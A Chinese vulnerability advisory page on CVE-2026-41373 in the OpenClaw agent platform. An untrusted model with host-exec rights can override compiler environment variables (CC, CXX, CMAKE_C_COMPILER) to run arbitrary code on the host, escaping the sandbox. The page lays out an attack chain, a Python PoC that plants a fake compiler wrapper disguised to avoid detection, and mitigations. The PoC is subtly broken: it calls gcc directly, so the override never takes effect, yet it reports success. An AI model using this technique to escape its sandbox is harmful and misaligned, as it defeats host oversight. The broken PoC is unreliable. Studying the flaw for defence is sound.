IPBUF安全漏洞报告
English
CVE-2026-41373 CVSS 6.1 中危

CVE-2026-41373 OpenClaw任意代码执行漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-41373
漏洞类型
任意代码执行
CVSS评分
6.1 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

代码执行OpenClaw环境变量注入沙箱逃逸

漏洞概述

OpenClaw在2026.3.31之前的版本中存在一个安全漏洞。由于host-env-security-policy.json配置不完整,未能正确限制编译器二进制文件的环境变量。这导致不受信任的模型可以通过环境覆盖的方式,替换CC、CXX、CARGO_BUILD_RUSTC和CMAKE_C_COMPILER等关键编译器环境变量。具有已批准host-exec请求的攻击者可以利用此漏洞,在构建过程中覆盖编译器二进制文件,从而执行任意代码。该漏洞的CVSS评分为6.1,属于中危级别,攻击者需要本地访问权限和低权限即可发起攻击,对系统完整性造成严重影响。

技术细节

该漏洞的核心原因在于OpenClaw的安全策略配置文件host-env-security-policy.json中缺失了对特定构建环境变量的严格限制。在OpenClaw的架构中,允许模型请求执行主机命令以进行代码构建,但理论上应限制模型对构建环境的篡改能力。然而,由于策略配置的疏忽,攻击者能够通过设置环境变量来改变构建工具链的路径。具体来说,当OpenClaw执行构建任务时,如果环境变量如CC(C编译器)、CXX(C++编译器)、CARGO_BUILD_RUSTC(Rust编译器)或CMAKE_C_COMPILER被恶意修改,系统将加载攻击者指定的恶意二进制文件而非系统默认的安全编译器。一旦攻击者获得了host-exec权限,他们便可以利用这一机制注入恶意代码。在构建过程中,系统会调用这些被替换的编译器,从而导致攻击者指定的任意代码在宿主机上以运行OpenClaw的权限执行。这种利用方式绕过了传统的沙箱限制,实现了从模型执行到宿主机命令执行的逃逸,严重威胁系统的完整性和安全性。

攻击链分析

STEP 1
初始访问
攻击者获得OpenClaw系统的低权限本地访问权限。
STEP 2
权限提升/准备
攻击者确认OpenClaw版本存在漏洞,并申请或获得host-exec功能的执行权限。
STEP 3
环境变量篡改
攻击者在发起构建请求时,注入恶意的环境变量(CC, CXX等),将编译器路径指向恶意脚本。
STEP 4
任意代码执行
OpenClaw执行构建任务,调用被替换的恶意编译器,导致攻击者指定的任意代码在宿主机上运行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import subprocess # PoC for CVE-2026-41373: Compiler Binary Substitution # This script simulates an attacker overriding compiler environment variables # to execute arbitrary code during a build process. # 1. Create a malicious payload acting as a compiler malicious_compiler = "/tmp/malicious_gcc" with open(malicious_compiler, "w") as f: f.write("#!/bin/bash\n") f.write("# Execute arbitrary command (e.g., creating a file)\n") f.write("touch /tmp/pwned_by_openclaw\n") f.write("# Execute the real compiler to avoid build failure detection\n") f.write("/usr/bin/gcc \"$@\"\n") os.chmod(malicious_compiler, 0o755) # 2. Prepare the environment with overrides # Exploiting the incomplete host-env-security-policy.json env_vars = { "CC": malicious_compiler, "CXX": malicious_compiler, "CMAKE_C_COMPILER": malicious_compiler } # Update current environment env = os.environ.copy() env.update(env_vars) print("[+] Triggering build with overridden compiler variables...") # 3. Simulate the build process (e.g., running make or cargo) # In the real scenario, this is triggered by the 'host-exec' feature try: # Using a dummy compile command for demonstration subprocess.run(["gcc", "--version"], env=env, check=True) # Check if the arbitrary code was executed if os.path.exists("/tmp/pwned_by_openclaw"): print("[+] Exploit successful! Arbitrary code executed.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")

影响范围

OpenClaw < 2026.3.31

防御指南

临时缓解措施
在未升级版本前,建议禁用OpenClaw的host-exec功能以防止构建环境被利用。如果必须使用,请严格限制模型对环境变量的修改权限,并在沙箱环境中监控构建过程,确保调用的编译器路径为系统受信路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表